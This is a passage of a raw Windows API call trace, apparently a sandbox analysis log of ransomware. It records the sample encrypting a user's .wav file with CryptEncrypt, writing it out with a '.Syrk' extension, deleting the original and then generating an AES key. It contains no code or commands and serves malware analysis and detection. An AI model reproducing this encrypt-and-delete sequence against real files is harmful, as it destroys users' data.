(in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.391] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0244.392] GetFileType (hFile=0x454) returned 0x1 [0244.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.392] GetFileType (hFile=0x454) returned 0x1 [0244.392] EtwEventActivityIdControl () returned 0x0 [0244.392] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.393] EtwEventActivityIdControl () returned 0x0 [0244.393] EtwEventActivityIdControl () returned 0x0 [0244.393] EtwEventActivityIdControl () returned 0x0 [0244.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0244.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk", lpFilePart=0x0) returned 0x29 [0244.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.394] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0244.397] GetFileType (hFile=0x1d4) returned 0x1 [0244.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.397] GetFileType (hFile=0x1d4) returned 0x1 [0244.397] EtwEventActivityIdControl () returned 0x0 [0244.398] CryptGenRandom (in: hProv=0x373f80, dwLen=0x10, pbBuffer=0x23ea9b0 | out: pbBuffer=0x23ea9b0) returned 1 [0244.399] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.399] CryptDuplicateKey (in: hKey=0x5c69500, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69440) returned 1 [0244.399] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.399] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x4, pbData=0x23ebce8*=0x1, dwFlags=0x0) returned 1 [0244.400] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x1, pbData=0x23ebcb4, dwFlags=0x0) returned 1 [0244.400] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.400] EtwEventActivityIdControl () returned 0x0 [0244.400] EtwEventActivityIdControl () returned 0x0 [0244.400] EtwEventActivityIdControl () returned 0x0 [0244.402] EtwEventActivityIdControl () returned 0x0 [0244.402] ReadFile (in: hFile=0x454, lpBuffer=0x23ee924, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ee924*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0244.405] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x240293c*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x240293c*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0244.406] WriteFile (in: hFile=0x1d4, lpBuffer=0x23eaa98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23eaa98*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0244.408] WriteFile (in: hFile=0x1d4, lpBuffer=0x2403928*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2403928*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0244.415] ReadFile (in: hFile=0x454, lpBuffer=0x23ee924, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ee924*, lpNumberOfBytesRead=0x5a2e7d8*=0x4e1a, lpOverlapped=0x0) returned 1 [0244.416] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2416954*, pdwDataLen=0x5a2e7cc*=0x4e10, dwBufLen=0x4e10 | out: pbData=0x2416954*, pdwDataLen=0x5a2e7cc*=0x4e10) returned 1 [0244.416] WriteFile (in: hFile=0x1d4, lpBuffer=0x2416954*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2416954*, lpNumberOfBytesWritten=0x5a2e7b0*=0x4e10, lpOverlapped=0x0) returned 1 [0244.417] ReadFile (in: hFile=0x454, lpBuffer=0x23ee924, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ee924*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0244.417] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x241b770*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x241b770*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0244.417] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x241b78c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x241b78c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0244.417] WriteFile (in: hFile=0x1d4, lpBuffer=0x23eaa98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23eaa98*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0244.418] CloseHandle (hObject=0x1d4) returned 1 [0244.420] CloseHandle (hObject=0x454) returned 1 [0244.421] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.422] EtwEventActivityIdControl () returned 0x0 [0244.422] EtwEventActivityIdControl () returned 0x0 [0244.422] EtwEventActivityIdControl () returned 0x0 [0244.428] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav")) returned 0x20 [0244.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.431] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.432] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.432] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0244.432] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0244.432] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.432] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.432] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0244.432] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0244.432] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.433] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0244.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0244.433] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.433] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0244.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0244.434] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav")) returned 0x20 [0244.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0244.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.438] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0244.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0244.438] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0244.439] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0244.439] CoTaskMemFree (pv=0x5c98368) [0244.441] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav")) returned 0x20 [0244.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0244.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav"), fInfoLevelId=0x0, lpFileInformation=0x2425e9c | out: lpFileInformation=0x2425e9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca8c1a0, ftCreationTime.dwHighDateTime=0x1d990a1, ftLastAccessTime.dwLowDateTime=0x7985770, ftLastAccessTime.dwHighDateTime=0x1d9992e, ftLastWriteTime.dwLowDateTime=0x7985770, ftLastWriteTime.dwHighDateTime=0x1d9992e, nFileSizeHigh=0x0, nFileSizeLow=0x18e1a)) returned 1 [0244.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0244.443] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav")) returned 1 [0244.445] EtwEventActivityIdControl () returned 0x0 [0244.446] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.446] EtwEventActivityIdControl () returned 0x0 [0244.446] EtwEventActivityIdControl () returned 0x0 [0244.446] EtwEventActivityIdControl () returned 0x0 [0244.455] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav.syrk")) returned 0x20 [0244.456] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav.syrk")) returned 0x20 [0244.456] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0244.456] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk", lpFilePart=0x0) returned 0x29 [0244.457] EtwEventActivityIdControl () returned 0x0 [0244.457] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.457] EtwEventActivityIdControl () returned 0x0 [0244.457] EtwEventActivityIdControl () returned 0x0 [0244.457] EtwEventActivityIdControl () returned 0x0 [0244.462] EtwEventActivityIdControl () returned 0x0 [0244.463] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.463] EtwEventActivityIdControl () returned 0x0 [0244.463] EtwEventActivityIdControl () returned 0x0 [0244.463] EtwEventActivityIdControl () returned 0x0 [0244.468] EtwEventActivityIdControl () returned 0x0 [0244.468] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.469] EtwEventActivityIdControl () returned 0x0 [0244.469] EtwEventActivityIdControl () returned 0x0 [0244.469] EtwEventActivityIdControl () returned 0x0 [0244.474] EtwEventActivityIdControl () returned 0x0 [0244.474] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.475] EtwEventActivityIdControl () returned 0x0 [0244.475] EtwEventActivityIdControl () returned 0x0 [0244.475] EtwEventActivityIdControl () returned 0x0 [0244.480] EtwEventActivityIdControl () returned 0x0 [0244.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.480] EtwEventActivityIdControl () returned 0x0 [0244.480] EtwEventActivityIdControl () returned 0x0 [0244.480] EtwEventActivityIdControl () returned 0x0 [0244.485] EtwEventActivityIdControl () returned 0x0 [0244.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0244.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x242ed64 | out: lpFileInformation=0x242ed64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd625170, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xd625170, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xd64b2d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x18e34)) returned 1 [0244.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0244.492] GetConsoleOutputCP () returned 0x1b5 [0244.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.492] GetConsoleOutputCP () returned 0x1b5 [0244.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.493] GetConsoleOutputCP () returned 0x1b5 [0244.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.493] GetConsoleOutputCP () returned 0x1b5 [0244.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.493] GetConsoleOutputCP () returned 0x1b5 [0244.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.494] GetConsoleOutputCP () returned 0x1b5 [0244.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.494] GetConsoleOutputCP () returned 0x1b5 [0244.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.494] GetConsoleOutputCP () returned 0x1b5 [0244.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.495] GetConsoleOutputCP () returned 0x1b5 [0244.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.496] GetConsoleOutputCP () returned 0x1b5 [0244.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.496] GetConsoleOutputCP () returned 0x1b5 [0244.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.497] GetConsoleOutputCP () returned 0x1b5 [0244.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.497] GetConsoleOutputCP () returned 0x1b5 [0244.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.498] GetConsoleOutputCP () returned 0x1b5 [0244.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.499] GetConsoleOutputCP () returned 0x1b5 [0244.499] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.499] GetConsoleOutputCP () returned 0x1b5 [0244.500] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.500] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0244.501] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.502] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2448938*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2448938*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0244.503] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.504] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0244.510] EtwEventActivityIdControl () returned 0x0 [0244.510] EtwEventActivityIdControl () returned 0x0 [0244.511] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.511] EtwEventActivityIdControl () returned 0x0 [0244.512] EtwEventActivityIdControl () returned 0x0 [0244.512] EtwEventActivityIdControl () returned 0x0 [0244.516] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.517] EtwEventActivityIdControl () returned 0x0 [0244.517] EtwEventActivityIdControl () returned 0x0 [0244.517] EtwEventActivityIdControl () returned 0x0 [0244.552] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x372ac8) returned 1 [0244.553] CryptGenKey (in: hProv=0x372ac8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68b80) returned 1 [0244.553] CryptContextAddRef (hProv=0x372ac8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.553] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.553] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2450310, pdwDataLen=0x5a2e8c4 | out: pbData=0x2450310*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.553] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.554] EtwEventActivityIdControl () returned 0x0 [0244.554] EtwEventActivityIdControl () returned 0x0 [0244.554] EtwEventActivityIdControl () returned 0x0 [0244.555] SysStringLen (param_1="") returned 0x8 [0244.555] SysStringLen (param_1="B") returned 0x8 [0244.555] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.555] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0244.555] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0244.555] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.556] SysStringLen (param_1="Bj") returned 0x8 [0244.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.556] SysStringLen (param_1="ㄅ컀衹뻀譕䜌戭") returned 0x8 [0244.556] SysStringLen (param_1="ㄅ컀衹뻀譕䜌戭") returned 0x8 [0244.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.556] SysStringLen (param_1="BjF") returned 0x8 [0244.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.556] SysStringLen (param_1="㤵바梞猪㝙쯱") returned 0x8 [0244.556] SysStringLen (param_1="㤵바梞猪㝙쯱") returned 0x8 [0244.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.556] SysStringLen (param_1="BjF3") returned 0x8 [0244.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.557] SysStringLen (param_1="凴綰┠饳襷䃸筑슻") returned 0x8 [0244.557] SysStringLen (param_1="凴綰┠饳襷䃸筑슻") returned 0x8 [0244.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.557] SysStringLen (param_1="BjF3O") returned 0x8 [0244.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.557] SysStringLen (param_1="ิ짽䝚斤套켣㣞靮") returned 0x8 [0244.557] SysStringLen (param_1="ิ짽䝚斤套켣㣞靮") returned 0x8 [0244.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.557] SysStringLen (param_1="BjF3OG") returned 0x8 [0244.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | 